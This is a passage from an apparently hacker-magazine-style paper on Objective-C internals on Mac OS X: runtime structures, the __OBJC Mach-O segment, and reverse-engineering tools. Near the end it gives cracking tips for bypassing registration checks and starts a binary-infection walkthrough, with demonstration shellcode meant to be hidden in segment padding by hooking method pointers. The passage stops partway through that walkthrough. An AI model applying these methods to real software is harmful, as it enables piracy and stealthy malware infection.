0x1e6d <-[Fraction setDenominator:]+1>:         mov    ebp,esp
0x1e6f <-[Fraction setDenominator:]+3>:         sub    esp,0x8
0x1e72 <-[Fraction setDenominator:]+6>:         mov    edx,DWORD PTR [ebp+0x8]
0x1e75 <-[Fraction setDenominator:]+9>:         mov    eax,DWORD PTR [ebp+0x10]
0x1e78 <-[Fraction setDenominator:]+12>:        mov    DWORD PTR [edx+0x8],eax
0x1e7b <-[Fraction setDenominator:]+15>:        leave  
0x1e7c <-[Fraction setDenominator:]+16>:        ret    

As you can see from the implementation, this function basically takes a
pointer to the instance of our Fraction class, and stores the argument we
pass to it at offset 0x8. 

0x1e5b <-[Fraction setNumerator:]>:     push   ebp
0x1e5c <-[Fraction setNumerator:]+1>:   mov    ebp,esp
0x1e5e <-[Fraction setNumerator:]+3>:   sub    esp,0x8
0x1e61 <-[Fraction setNumerator:]+6>:   mov    edx,DWORD PTR [ebp+0x8]
0x1e64 <-[Fraction setNumerator:]+9>:   mov    eax,DWORD PTR [ebp+0x10]
0x1e67 <-[Fraction setNumerator:]+12>:  mov    DWORD PTR [edx+0x4],eax
0x1e6a <-[Fraction setNumerator:]+15>:  leave  
0x1e6b <-[Fraction setNumerator:]+16>:  ret    

Our setNumerator method is almost identical to this, however it uses offset
0x4 instead this is all pretty straight forward. So what's the ivars pointer 
that we saw earlier in our objc_class struct for then, you ask?

        struct objc_class
        { 
           struct objc_class* isa;
           struct objc_class* super_class;
           const char* name;
           long version;
           long info;
           long instance_size;
           struct objc_ivar_list* ivars;
           struct objc_method_list** methodLists;
           struct objc_cache* cache;
           struct objc_protocol_list* protocols;
        };

Our ivars pointer (24 bytes in to the objc_class struct) is required
because of the reflective properties of the Objective-C language. The ivars
pointer basically points to all the information about the instance
variables of the class.

We can explore this in gdb, with our Fraction class some more.

First off, let's put a breakpoint on one of our objc_msgSend calls:

(gdb) break *0x00001f3b 
Breakpoint 2 at 0x1f3b
(gdb) c
Continuing.

Once it's hit, we use the stepi command a few times, to populate the
registers eax and ecx with the selector and id.

Breakpoint 2, 0x00001f3b in main ()
(gdb) stepi
0x00004005 in dyld_stub_objc_msgSend ()
(gdb) 
0x94e0c670 in objc_msgSend ()
(gdb) 
0x94e0c674 in objc_msgSend ()

Now our eax register contains a pointer to our instantiated class.

(gdb) x/x $eax
0x103230:       0x00003000

We display the first 4 bytes at eax to retrieve the ISA pointer.

Then we dump a bunch of bytes at that address.

(gdb) x/10x 0x3000
0x3000 <.objc_class_name_Fraction>:     0x00003040      0xa06e3cc0
0x00001f7e      0x00000000
0x3010 <.objc_class_name_Fraction+16>:  0x00ba4001      0x0000000c
0x000030c4      0x00103240
0x3020 <.objc_class_name_Fraction+32>:  0x001048d0      0x00000000

So according to our previous logic, 24 bytes in we should have the 
ivars pointer. Therefore in this case our ivars pointer is:

	0x000030c4

Before we continue dumping memory here, lets take a look at the struct
definitions for what we're seeing.

The pointer we just found, points to a struct of type "objc_ivar_list"
this struct looks like so:

struct objc_ivar_list {
    int ivar_count
    /* variable length structure */
    struct objc_ivar ivar_list[1]
}

So we can dump the count, trivially in gdb.

(gdb) x/x 0x000030c4
0x30c4 <.objc_class_name_Fraction+196>: 0x00000002

And see that our Fraction class has 2 ivars. This makes sense, numerator
and denominator. 

Following our count is an array of objc_ivar structs, one for each instance
variable of the class. The definition for this struct is as follows:

struct objc_ivar {
    char *ivar_name
    char *ivar_type
    int ivar_offset
}  

So lets start dumping our ivars and see where it takes us.

(gdb)   
0x30c8 <.objc_class_name_Fraction+200>: 0x00001fb7 // ivar_name.
(gdb) 
0x30cc <.objc_class_name_Fraction+204>: 0x00001fd9 // ivar_type.
(gdb) 
0x30d0 <.objc_class_name_Fraction+208>: 0x00000004 // ivar_offset.

So if we dump the name and type, we can see that the first instance
variable we are looking at is the numerator.

(gdb) x/s 0x00001fb7
0x1fb7 <main+286>:       "numerator"
(gdb) x/s 0x00001fd9
0x1fd9 <main+320>:       "i"

The "i" in the type string means that we're looking at an integer.
The int ivar_offset is set to 0x4.  This means that when a Fraction class
is allocated, 4 bytes into the allocation we can find the numerator. This
matches up with the code in our setNumerator and makes sense.

We can repeat the process with the next element to verify our logic.

(gdb) 
0x30d4 <.objc_class_name_Fraction+212>: 0x00001fab
(gdb) 
0x30d8 <.objc_class_name_Fraction+216>: 0x00001fd9
(gdb) 
0x30dc <.objc_class_name_Fraction+220>: 0x00000008
(gdb) x/s 0x00001fab
0x1fab <main+274>:       "denominator"
(gdb) x/s 0x00001fd9
0x1fd9 <main+320>:       "i"

Again, as we can see, the denominator is an integer and is 0x8 bytes offset
into the allocation for this object.

Hopefully that makes the Objective-C runtime in memory relatively clear.

------[ 3.2 - The __OBJC Segment

In this section I will go over how the data mentioned in the previous
section is stored inside the Mach-O binary.

I'm going to try and avoid going into the Mach-O format as much as
possible. This has already been covered to death, if you need to read about
the file format check out [6].

Basically, files containing Objective-C code have an extra Mach-O segment
called the __OBJC segment. This segment consists of a bunch of different
sections, each containing different information pertinent to the
Objective-C runtime.

The output below from the otool -l command shows the sizes/load addresses
and flags etc for our __OBJC sections in the hello binary we compiled
earlier in the paper.


-[dcbz@megatron:~/code/HelloWorld/build]$ otool -l hello

...

Load command 3
      cmd LC_SEGMENT
  cmdsize 668
  segname __OBJC
   vmaddr 0x00003000
   vmsize 0x00001000
  fileoff 8192
 filesize 4096
  maxprot 0x00000007
 initprot 0x00000003
   nsects 9
    flags 0x0
Section
  sectname __class
   segname __OBJC
      addr 0x00003000
      size 0x00000030
    offset 8192
     align 2^5 (32)
    reloff 0
    nreloc 0
     flags 0x00000000
 reserved1 0
 reserved2 0
Section
  sectname __meta_class
   segname __OBJC
      addr 0x00003040
      size 0x00000030
    offset 8256
     align 2^5 (32)
    reloff 0
    nreloc 0
     flags 0x00000000
 reserved1 0
 reserved2 0
Section
  sectname __inst_meth
   segname __OBJC
      addr 0x00003080
      size 0x00000020
    offset 8320
     align 2^5 (32)
    reloff 0
    nreloc 0
     flags 0x00000000
 reserved1 0
 reserved2 0
Section
  sectname __instance_vars
   segname __OBJC
      addr 0x000030a0
      size 0x00000010
    offset 8352
     align 2^2 (4)
    reloff 0
    nreloc 0
     flags 0x00000000
 reserved1 0
 reserved2 0
Section
  sectname __module_info
   segname __OBJC
      addr 0x000030b0
      size 0x00000020
    offset 8368
     align 2^2 (4)
    reloff 0
    nreloc 0
     flags 0x00000000
 reserved1 0
 reserved2 0
Section
  sectname __symbols
   segname __OBJC
      addr 0x000030d0
      size 0x00000010
    offset 8400
     align 2^2 (4)
    reloff 0
    nreloc 0
     flags 0x00000000
 reserved1 0
 reserved2 0
Section
  sectname __message_refs
   segname __OBJC
      addr 0x000030e0
      size 0x00000010
    offset 8416
     align 2^2 (4)
    reloff 0
    nreloc 0
     flags 0x00000005
 reserved1 0
 reserved2 0
Section
  sectname __cls_refs
   segname __OBJC
      addr 0x000030f0
      size 0x00000004
    offset 8432
     align 2^2 (4)
    reloff 0
    nreloc 0
     flags 0x00000000
 reserved1 0
 reserved2 0
Section
  sectname __image_info
   segname __OBJC
      addr 0x000030f4
      size 0x00000008
    offset 8436
     align 2^2 (4)
    reloff 0
    nreloc 0
     flags 0x00000000
 reserved1 0
 reserved2 0

This output shows us where in the file itself each section resides. It also
shows us where that portion will be mapped into memory in the address space
of the process, as well as the size of each mapping.

The first section in the __OBJC segment we will look at is the __class
section. To understand this we'll take a quick look at how ida displays this
section.

__class:00003000 ; ===========================================================================
__class:00003000
__class:00003000 ; Segment type: Pure data
__class:00003000 ; Segment alignment '32byte' can not be represented in assembly
__class:00003000 __class         segment para public 'DATA' use32
__class:00003000                 assume cs:__class
__class:00003000                 ;org 3000h
__class:00003000                 public _objc_class_name_Talker
__class:00003000 _objc_class_name_Talker __class_struct <offset stru_3040, offset aNsobject, offset aTalker, 0,\
__class:00003000                                         ; DATA XREF: __symbols:000030B0o
__class:00003000                                 1, 4, 0, offset dword_3070, 0, 0> ; "NSObject"
__class:00003028                 align 10h
__class:00003028 __class         ends
__class:00003028

From IDA's dump of this section (from our hello binary) we can see that
this section is pretty much where our objc_class structs are stored.

        struct objc_class
        { 
           struct objc_class* isa;
           struct objc_class* super_class;
           const char* name;
           long version;
           long info;
           long instance_size;
           struct objc_ivar_list* ivars;
           struct objc_method_list** methodLists;
           struct objc_cache* cache;
           struct objc_protocol_list* protocols;
        };

More particularly though, this is where the ISA classes are stored.
An interesting note, is that from what I've seen gcc seems to almost always
pick 0x3000 for this section. It's pretty reliable to attempt to utilize
this area in an exploit if the need arises.

The next section we'll look at is the __meta_class section.

__meta_class:00003040 ; ===========================================================================
__meta_class:00003040
__meta_class:00003040 ; Segment type: Pure data
__meta_class:00003040 ; Segment alignment '32byte' can not be represented in assembly
__meta_class:00003040 __meta_class    segment para public 'DATA' use32
__meta_class:00003040                 assume cs:__meta_class
__meta_class:00003040                 ;org 3040h
__meta_class:00003040 stru_3040       __class_struct <offset aNsobject, offset aNsobject, offset aTalker, 0,\
__meta_class:00003040                                         ; DATA XREF: __class:_objc_class_name_Talkero
__meta_class:00003040                                 2, 30h, 0, 0, 0, 0> ; "NSObject"
__meta_class:00003068                 align 10h
__meta_class:00003068 __meta_class    ends
__meta_class:00003068

Again, as you can see this section is filled with objc_class structs.
However this time the structs represent the super_class structs. We can see
that the __class section references this one.

The __inst_meth section (shown below) contains pointers to the various
methods used by the classes. These pointers can be changed to gain control
of execution.

__inst_meth:00003070 ; ===========================================================================
__inst_meth:00003070
__inst_meth:00003070 ; Segment type: Pure data
__inst_meth:00003070 __inst_meth     segment dword public 'DATA' use32
__inst_meth:00003070                 assume cs:__inst_meth
__inst_meth:00003070                 ;org 3070h
__inst_meth:00003070 dword_3070      dd 0                    ; DATA XREF: __class:_objc_class_name_Talkero
__inst_meth:00003074                 dd 1
__inst_meth:00003078                 dd offset aSay, offset aV12@048, offset __Talker_say__ ; "say:"
__inst_meth:00003078 __inst_meth     ends
__inst_meth:00003078

The __message_refs section basically just contains pointers to all the
selectors used throughout the application. The strings themselves are
contained in the __cstring section, however __message_refs contains all the
pointers to them.

__message_refs:000030B4 ; ===========================================================================
__message_refs:000030B4
__message_refs:000030B4 ; Segment type: Pure data
__message_refs:000030B4 __message_refs  segment dword public 'DATA' use32
__message_refs:000030B4                 assume cs:__message_refs
__message_refs:000030B4                 ;org 30B4h
__message_refs:000030B4 off_30B4        dd offset aRelease      ; DATA XREF: _main+68o
__message_refs:000030B4                                         ; "release"
__message_refs:000030B8 off_30B8        dd offset aSay          ; DATA XREF: _main+47o
__message_refs:000030B8                                         ; "say:"
__message_refs:000030BC off_30BC        dd offset aInit         ; DATA XREF: _main+2Do
__message_refs:000030BC                                         ; "init"
__message_refs:000030C0 off_30C0        dd offset aAlloc        ; DATA XREF: _main+17o
__message_refs:000030C0 __message_refs  ends                    ; "alloc"
__message_refs:000030C0

The __cls_refs section contains pointers to the names of all the classes in
our Application. The strings themselves again are stored in the cstring
section, however the __cls_refs section simply contains an array of
pointers to each of them.

__cls_refs:000030C4 ; ===========================================================================
__cls_refs:000030C4
__cls_refs:000030C4 ; Segment type: Regular
__cls_refs:000030C4 __cls_refs      segment dword public '' use32
__cls_refs:000030C4                 assume cs:__cls_refs
__cls_refs:000030C4                 ;org 30C4h
__cls_refs:000030C4                 assume es:nothing, ss:nothing, ds:nothing, fs:nothing, gs:nothing
__cls_refs:000030C4 unk_30C4        db 0C9h ; +             ; DATA XREF: _main+Do
__cls_refs:000030C5                 db  1Fh
__cls_refs:000030C6                 db    0
__cls_refs:000030C7                 db    0
__cls_refs:000030C7 __cls_refs      ends
__cls_refs:000030C7

I'm not really sure what the __image_info section is used for. But it's
good for us to use in our binary infector. :P

__image_info:000030C8 ; ===========================================================================
__image_info:000030C8
__image_info:000030C8 ; Segment type: Regular
__image_info:000030C8 __image_info    segment dword public '' use32
__image_info:000030C8                 assume cs:__image_info
__image_info:000030C8                 ;org 30C8h
__image_info:000030C8                 assume es:nothing, ss:nothing, ds:nothing, fs:nothing, gs:nothing
__image_info:000030C8                 align 10h
__image_info:000030C8 __image_info    ends
__image_info:000030C8

One section that was missing from our hello binary but is typically in all
Objective-C compiled files is the __instance_vars section.

Section
  sectname __instance_vars
   segname __OBJC
      addr 0x000030c4
      size 0x0000001c
    offset 8388
     align 2^2 (4)
    reloff 0
    nreloc 0
     flags 0x00000000
 reserved1 0
 reserved2 0

The reason this was omitted from our hello binary is due to the fact that
our program has no classes with instance vars. Talker simply had a method
which took a string and printed it.

The __instance_vars section holds the ivars structs mentioned at the end of
the previous chapter. It begins with a count, and is followed up by an
array of objc_ivar structs, as described previously.

        struct objc_ivar {
            char *ivar_name
            char *ivar_type
            int ivar_offset
        }

I skipped a few of the self explanatory sections like symbols. But
hopefully this served as an introduction to the information available to us
in the binary. In the next sections we'll look at tools to turn this
information into something more human readable.

--[ 4 - Reverse Engineering Objective-C Applications.

As I'm sure you can imagine having read this far, with such a large variety
of information present in the binary and in memory at runtime reverse
engineering Objective-C applications is quite a bit easier than their C or
C++ counterparts.

In the following section I will run through some of the tools and methods
that help out when attempting to reverse engineer Objective-C applications
on Mac OSX both on disk and at runtime.

------[ 4.1 - Static analysis toolset

First up, lets take a look at how we can access the information statically
from the disk. There exists a variety of tools which help us with this
task.

The first tool, is one we've used previously in this paper, "otool".
Otool on Mac OS X is basically the equivalent of objdump on other
platforms (NOTE: objdump can obviously be compiled for Mac OS X too.).
Otool will not only dump assembly code for particular sections as well as
header information for Mach-O files, but it can display our Objective-C
information as well. 

By using the "-o" flag to otool we can tell it to dump the Objective-C
segment in a readable fashion. The output below shows us running this
command against our hello binary from earlier.

-[dcbz@megatron:~/code/HelloWorld/build]$ otool -o hello  
hello:
Objective-C segment
Module 0x30b0
    version 7
       size 16
       name 0x00001fa8
     symtab 0x000030d0
	sel_ref_cnt 0
	refs 0x00000000 (not in an __OBJC section)
	cls_def_cnt 1
	cat_def_cnt 0
	Class Definitions
	defs[0] 0x00003000
		      isa 0x00003040
	      super_class 0x00001fa9
		     name 0x00001fb2
		  version 0x00000000
		     info 0x00000001
	    instance_size 0x00000008
		    ivars 0x000030a0
		       ivar_count 1
			ivar_name 0x00001fc6
			ivar_type 0x00001fde
		      ivar_offset 0x00000004
		  methods 0x00003080
		         obsolete 0x00000000
		     method_count 2
		      method_name 0x00001fc1
		     method_types 0x00001fd4
		       method_imp 0x00001f13 
		      method_name 0x00001fb9
		     method_types 0x00001fca
		       method_imp 0x00001f02 
		    cache 0x00000000
		protocols 0x00000000 (not in an __OBJC section)
	Meta Class
		      isa 0x00001fa9
	      super_class 0x00001fa9
		     name 0x00001fb2
		  version 0x00000000
		     info 0x00000002
	    instance_size 0x00000030
		    ivars 0x00000000 (not in an __OBJC section)
		  methods 0x00000000 (not in an __OBJC section)
		    cache 0x00000000
		protocols 0x00000000 (not in an __OBJC section)
Module 0x30c0
    version 7
       size 16
       name 0x00001fa8
     symtab 0x00002034 (not in an __OBJC section)
Contents of (__OBJC,__image_info) section
  version 0
    flags 0x0 RR

As you can see, this output provides us with a variety of information such
as the addresses of our class definitions, their ivar count, name and types
as well as their offsets into the appropriate section.

Most of the times however, it can be more useful to see a human readable interface
description for our binary. This can be arranged using the class-dump tool
available from [14].

-[dcbz@megatron:~/code/HelloWorld/build]$
/Volumes/class-dump-3.1.2/class-dump hello 
/*
 *     Generated by class-dump 3.1.2.
 *
 *     class-dump is Copyright (C) 1997-1998, 2000-2001, 2004-2007 by Steve
 *     Nygard.
 */

/*
 * File: hello
 * Arch: Intel 80x86 (i386)
 */

@interface Talker : NSObject
{
}

- (void)say:(char *)fp8;

@end

The output above shows class-dump being run against our small hello binary
from the previous sections. Our example is pretty tiny though, but it still
demonstrates the format in which class-dump will display it's information.

By running this tool against Safari we can get a more clear picture of the
kind of information class-dump can give us.

/*
 *     Generated by class-dump 3.1.2.
 *
 *     class-dump is Copyright (C) 1997-1998, 2000-2001, 2004-2007 by Steve
 *     Nygard.
 */

struct AliasRecord;

struct CGAffineTransform {
    float a;
    float b;
    float c;
    float d;
    float tx;
    float ty;
};

struct CGColor;

struct CGImage;

struct CGPoint {
    float x;
    float y;
};

...

@protocol NSDraggingInfo
- (id)draggingDestinationWindow;
- (unsigned int)draggingSourceOperationMask;
- (struct _NSPoint)draggingLocation;
- (struct _NSPoint)draggedImageLocation;
- (id)draggedImage;
- (id)draggingPasteboard;
- (id)draggingSource;
- (int)draggingSequenceNumber;
- (void)slideDraggedImageTo:(struct _NSPoint)fp8;
- (id)namesOfPromisedFilesDroppedAtDestination:(id)fp8;
@end

...

Class-dump is a very valuable tool and definitely one of the first things
that I run when trying to understand the purpose of an Objective-C binary. 

Back when the earth was flat, and Mac OS X ran mostly on PowerPC
architecture Braden started work on a really cool tool called "code-dump".
Code-dump was built on top of the class-dump source and rather than just
dumping class definitions, it was designed to decompile Objective-C code.

Unfortunately code-dump has never been updated since then, but to me the
idea is still very sound. It would be really cool to see some Objective-C
support added to Hex-rays in the future. I think you could get some really
reliable output with that.

However, until the day arrives when someone bothers working on a real
decompiler for intel Objective-C binaries the closest thing we have is
called OTX.app. OTX (hosted on one of the coolest domains ever.) [15] is a
gui tool for Mac OS X which takes a Mach-O binary as input and then uses
otool output to dump an assembly listing. It is capable of querying the
Objective-C sections of the binary for information and then populating the
assembly with comments.

Let's take a look at the output from OTX running against the Safari web
browser.

-(id)[AppController(FileInternal) _closeMenuItem]
+0   00003f70  55               pushl %ebp
+1   00003f71  89e5             movl %esp,%ebp
+3   00003f73  83ec18           subl $0x18,%esp
+6   00003f76  a1cc6c1e00       movl 0x001e6ccc,%eax    _fileMenu
+11  00003f7b  89442404         movl %eax,0x04(%esp)
+15  00003f7f  8b4508           movl 0x08(%ebp),%eax
+18  00003f82  890424           movl %eax,(%esp)
+21  00003f85  e812ee2000       calll 0x00212d9c  -[(%esp,1) _fileMenu]
+26  00003f8a  8b15bc6c1e00     movl 0x001e6cbc,%edx    performClose:
+32  00003f90  c744240800000000 movl $0x00000000,0x08(%esp)
+40  00003f98  8954240c         movl %edx,0x0c(%esp)
+44  00003f9c  8b15c46c1e00     movl 0x001e6cc4,%edx  
                                              itemWithTarget:andAction:
+50  00003fa2  890424           movl %eax,(%esp)
+53  00003fa5  89542404         movl %edx,0x04(%esp)
+57  00003fa9  e8eeed2000       calll 0x00212d9c       
                                  -[(%esp,1) itemWithTarget:andAction:]
+62  00003fae  c9               leave
+63  00003faf  c3               ret

The comments in the above output are pretty clear, they show the name of
the method as well as which method and attribute are being used in the
assembly.

Unfortunately, working from a .txt file containing assembly is still pretty
painful, these days most people are using IDA pro to navigate an assembly
listing. Back when I was first doing this research I wrote an ida python
script which would parse the .txt file output from OTX, and steal all the
comments, then add them to IDA. It also took the method names and renamed
the functions appropriately and added cross refs where appropriate. 

Unfortunately I haven't been able to locate this script since I got back
from my forced time off :( If I do find it, I'll put it up on felinemenace
in case anyone is interested. Thankfully since I've been away it seems a
few people have recreated IDC scripts to pull information from the __OBJC
segment and populate the IDB.

I'm sure you can google around and find them yourselves, but regardless a
couple are available at [16] and [17].


------[ 4.2 - Runtime analysis toolset

In the previous section we explored how to access the Objective-C
information present in the binary without executing it. In this section I
will cover how to interact with the Objective-C runtime in the active
process in order to understand program flow and assist in reverse
engineering.

The first tool we'll look at exists basically in the libobjc.A.dylib
library itself. By setting the OBJC_HELP environment variable to anything
non-zero and then running an Objective-C application we can see some
options that are available to us.

% OBJC_HELP=1 ./build/Debug/HelloWorld
objc: OBJC_HELP: describe Objective-C runtime environment variables
objc: OBJC_PRINT_OPTIONS: list which options are set
objc: OBJC_PRINT_IMAGES: log image and library names as the runtime loads
them
objc: OBJC_PRINT_CONNECTION: log progress of class and category connections
objc: OBJC_PRINT_LOAD_METHODS: log class and category +load methods as they
are called
objc: OBJC_PRINT_RTP: log initialization of the Objective-C runtime pages
objc: OBJC_PRINT_GC: log some GC operations
objc: OBJC_PRINT_SHARING: log cross-process memory sharing
objc: OBJC_PRINT_CXX_CTORS: log calls to C++ ctors and dtors for instance
variables
objc: OBJC_DEBUG_UNLOAD: warn about poorly-behaving bundles when unloaded
objc: OBJC_DEBUG_FRAGILE_SUPERCLASSES: warn about subclasses that may have
been broken by subsequent changes to superclasses
objc: OBJC_USE_INTERNAL_ZONE: allocate runtime data in a dedicated malloc
zone
objc: OBJC_ALLOW_INTERPOSING: allow function interposing of objc_msgSend()
objc: OBJC_FORCE_GC: force GC ON, even if the executable wants it off
objc: OBJC_FORCE_NO_GC: force GC OFF, even if the executable wants it on
objc: OBJC_CHECK_FINALIZERS: warn about classes that implement -dealloc but
not -finalize
2006-04-22 12:08:17.544 HelloWorld[4831] Hello, World!

This help is pretty self explanatory, in order to utilize each of this
functionality you simply set the appropriate environment variable before
running your Objective-C application. The runtime does the rest.

Another environment variable which is useful for runtime analysis of
Objective-C applications is "NSObjCMessageLoggingEnabled". If this variable
is set to "Yes" then all objc_msgSend calls are logged to a file
/tmp/msgSends-<pid>. This is also obeyed for suid Objective-C apps and very
useful.

The output below demonstrates the use of this variable to log objc_msgSend
calls for our "HelloWorld" application.

-[dcbz@megatron:~/code/HelloWorld/build]$
NSObjCMessageLoggingEnabled=Yes ./hello 
Hello World!
-[dcbz@megatron:~/code/HelloWorld/build]$ cat /tmp/msgSends-6686 
+ NSRecursiveLock NSObject initialize
+ NSRecursiveLock NSObject new
+ NSRecursiveLock NSObject alloc
....
+ Talker NSObject initialize
+ Talker NSObject alloc
+ Talker NSObject allocWithZone:
- Talker NSObject init
- Talker Talker say:
- Talker NSObject release
- Talker NSObject dealloc

From this output it is easy to see exactly what our application was doing when
we ran it.

To take our message tracing functionality further, the "dtrace" application
can be used to spy on Objective-C methods and functionality. Taken straight
from the dtrace man-page, dtrace supports an Objective-C provider. The
syntax for this is as follows:

"""
OBJECTIVE C PROVIDER
    The Objective C provider is similar to the pid 
    provider, and allows instrumentation of Objective C classes and 
    methods. Objective C probe specifiers use the following format:

    objcpid:[class-name[(category-name)]]:[[+|-]method-name]:[name]

    pid  The id number of the process.

    class-name
       The name of the Objective C class.

    category-name
       The name of the category within the Objective C class.

    method-name
       The name of the Objective C method.

    name  The name of the probe, entry, return, or an 
          integer instruction offset within the method.

OBJECTIVE C PROVIDER EXAMPLES
    objc123:NSString:-*:entry
       Every instance method of class NSString in process 123.

    objc123:NSString(*)::entry
       Every method on every category of class NSString in process
       123.

    objc123:NSString(foo):+*:entry
       Every class method in NSString's foo category in process 123.

    objc123::-*:entry
       Every instance method in every class and category in process
       123.

    objc123:NSString(foo):-dealloc:entry
       The dealloc method in the foo category of class NSString in
       process 123.

    objc123::method?with?many?colons:entry
       The method method:with:many:colons in every class in
       process 123. (A ? wildcard must be used to match colon 
       characters inside of Objective C method names, as they would 
       otherwise be parsed as the provider field separators.)
"""

This can be used as a message tracer for a particular class. You can even
use this to write a simple fuzzer. There are plenty of tutorials out on the
interwebz regarding writing .d scripts, and honestly, I'm still very new to
it, so I'm going to leave this topic for now.

I'd imagine that most people reading this paper are already pretty familiar
with gdb. On Mac OS X, Apple have slightly modified gdb to have better
support for Objective-C objects.

The first notable change I can think of is that they've added the
print-object command:

(gdb) help print-object 
Ask an Objective-C object to print itself.

In order to show an example of this we can fire up gdb on our hello example
Objective-C application..

-[dcbz@megatron:~/code/HelloWorld/build]$ gdb hello 
GNU gdb 6.3.50-20050815 (Apple version gdb-768) 
(gdb) set disassembly-flavor intel
(gdb) disas main
Dump of assembler code for function main:
0x00001f3d <main+0>:	push   ebp
0x00001f3e <main+1>:	mov    ebp,esp
0x00001f40 <main+3>:	push   ebx
[...]
0x00001f96 <main+89>:	mov    DWORD PTR [esp+0x4],edx
0x00001f9a <main+93>:	mov    DWORD PTR [esp],ecx
0x00001f9d <main+96>:	call   0x4005 <dyld_stub_objc_msgSend>
0x00001fa2 <main+101>:	mov    edx,DWORD PTR [ebp-0xc]
0x00001fa5 <main+104>:	lea    eax,[ebx+0x116b]
[...]
0x00001fb9 <main+124>:	add    esp,0x24
0x00001fbc <main+127>:	pop    ebx
0x00001fbd <main+128>:	leave  
0x00001fbe <main+129>:	ret    
End of assembler dump.

.. and stick a breakpoint on one of the calls to objc_msgSend() from
main().

(gdb) b *0x00001f9d
Breakpoint 1 at 0x1f9d
(gdb) r
Starting program: /Users/dcbz/code/HelloWorld/build/hello 

Breakpoint 1, 0x00001f9d in main ()
(gdb) stepi
0x00004005 in dyld_stub_objc_msgSend ()
(gdb) 
0x94e0c670 in objc_msgSend ()
(gdb) 
0x94e0c674 in objc_msgSend ()
(gdb) 
0x94e0c678 in objc_msgSend ()

We stepi a few instructions to populate our eax and ecx registers with the
selector and id, as we've done previously in this paper.

(gdb) po $eax
<Talker: 0x103240>

Then use the "po" command on our class pointer, which shows that we have an
instance of the Talker class at 0x103240 on the heap.

(gdb) x/x $eax
0x103240:	0x00003000
(gdb) po 0x3000
Talker

As you can see, if you use the "po" command on an ISA pointer, it simply
spits out the name of the class.

Some of the coolest techniques I've seen for manipulating the Objective-C
runtime involve injecting an interpreter for the language of your choice
into the address space of the running process, and then manipulating the
classes in memory from there. None of the implementations of this that I've
seen have been anywhere near as cool as F-Script Anywhere [18]. 

It's hard to explain this tool in .txt format but if you have a Mac you
should grab it and check it out. Basically when you run F-Script Anywhere
you are presented with a list of all the running Objective-C applications
on the system. You can select one and click the install button, to inject
the F-Script interpreter into that process.

On Leopard however, before you use this tool, you must set it to sgid
procmod. This is due to the debugging restrictions around task_for_pid().
To do this basically just:

-[root@megatron:/Applications/F-Script Anywhere.app/Contents/MacOS]$
chgrp procmod F-Script\ Anywhere 
-[root@megatron:/Applications/F-Script Anywhere.app/Contents/MacOS]$
chmod g+s F-Script\ Anywhere 

Once the F-Script interpreter has been injected into your application, a
"FSA" menu will appear in the menu bar at the top of your screen. This menu
gives you the options:

- New F-Script Workspace.
- Browser for target.

If you select "New F-Script Workspace" you are presented with a small
terminal, in which to execute F-Script commands. The F-Script language is
very simple and documented on their website [18]. It looks very similar to
Objective-C itself. The interpreter window is running in the context of the
application itself. Therefore any F-Script statements you make are capable
of manipulating the classes etc within the target Objective-C application.

But what if you don't know the name of your class in order to write
F-Script to manipulate it? The "Browser" button at the bottom of the
terminal will open up an object browser for our target application.
Clicking on the "Classes" button at the top of this window will result in a
list of all the classes in our address space being listed down the side.
Clicking on any of the classes, will bring up all the attributes and
methods for a particular class. (Methods are indicated with a colon. ie;
"say:"). Double clicking on any of the methods in this window will result
in the method being called, if arguments are required a window will pop up
prompting you to supply them. This is very useful for exploring and testing
the functionality of your target.

Rather than clicking the "New F-Script Workspace" option in our FSA menu,
you can select the "Browser for target" option. This will change your
cursor into some kind of weird, clover/target/thing. Once this happens,
clicking on any object in the gui, will pop up an object browser for the
particular instance of the object. This way we can call methods/view
attributes/see the address for the class etc. 

You can do a lot more with F-Script anywhere, but the best place to learn
is from the website [18] itself.

------[ 4.3 - Cracking

I'm not going to spend too much time on this topic as it's been covered
pretty well by curious in [19], and I've published a little bit on it
before in [13]. 

However, when attempting to crack Objective-C apps it's always definitely
worth running class-dump before you do anything else, and reading over the
output. I can't count the number of times I've seen an application which
has a method like createRegistrationKey() which you can call from F-Script
Anywhere, or isRegistered() which is easily noppable. With all the
Objective-C information at your disposal cracking a majority of
applications on Mac OS X becomes quite trivial.

Honestly, lets face it, people writing applications for Mac OS X care about the
pretty gui, not the binary protection schemes available.

------[ 4.4 - Objective-C Binary Infection

Again I won't spend too much time on this section. Dino let me know
recently that Vincenzo Iozzo ([email protected]) did a talk apparently at
Deepsec last year on infecting the Objective-C structures in a Mach-O
binary. I couldn't find any information on it on google, so i'll release my
technique, however if you want to read a (probably much much better
technique) then look up Vincenzo's work.

The method I propose is quite simple, it involves looking at the __OBJC
segment for any sections with padding, then writing our shellcode into each
of them. Then basically overwriting a methods pointer with the address of
the start of our shellcode. When the shellcode finishes executing, the
original address is called.

While this method is more complicated/convoluted than other Mach-O
infection techniques, no attempt to modify the entry point takes place.
This makes it harder to detect for the uninitiated.

In order to demonstrate this procedure I wrote the following tiny assembly
code. 

-[dcbz@megatron:~/code]$ cat infected.asm 
BITS 32
SECTION .text
_main:
        xor     eax,eax
        push    byte 0xa
        jmp     short down
up:
        push    eax
        mov     al,0x04
        push    eax  ; fake
        int     0x80
        jmp     short end
down:
        call up
db      "infected!",0x0a,0x00
end:
        int3

-[dcbz@megatron:~/code]$ cat tst.c
char sc[] = 
"\x31\xc0\x6a\x0a\xeb\x08\x50\xb0\x04\x50\xcd\x80\xeb\x10\xe8\xf3"
"\xff\xff\xff\x69\x6e\x66\x65\x63\x74\x65\x64\x21\x0a\x00\xcc";

int main(int ac, char **av)
{
        void (*fp)() = sc;
        fp();
}
-[dcbz@megatron:~/code]$ gcc tst.c -o tst
tst.c: In function 'main':
tst.c:7: warning: initialization from incompatible pointer type
-[dcbz@megatron:~/code]$ ./tst
infected!
Trace/BPT trap

As you can see when executed this code simply prints the string
"infected!\n" using the write() system call.

This will be the parasite code, our poor little HelloWorld project will be
the host. 

The first step in our infection process is to locate a little slab of space
in the file where we can stick our code. Our code is around 30 bytes in
length, so we'll need around 36 bytes in order to call the old address as
well and complete the hook.

Looking at the first two sections in our OBJC segment, the first has an
offset of 8192 and a size of 0x30 the second has an offset of 8256. 

Section
  sectname __class
   segname __OBJC
      addr 0x00003000
      size 0x00000030
    offset 8192
     align 2^5 (32)
    reloff 0
    nreloc 0
     flags 0x00000000
 reserved1 0
 reserved2 0
Section
  sectname __meta_class
   segname __OBJC
      addr 0x00003040
      size 0x00000030
    offset 8256
     align 2^5 (32)
    reloff 0
    nreloc 0
     flags 0x00000000
 reserved1 0
 reserved2 0

If we do the math on the first part:

>>> 8192 + 0x30
8240

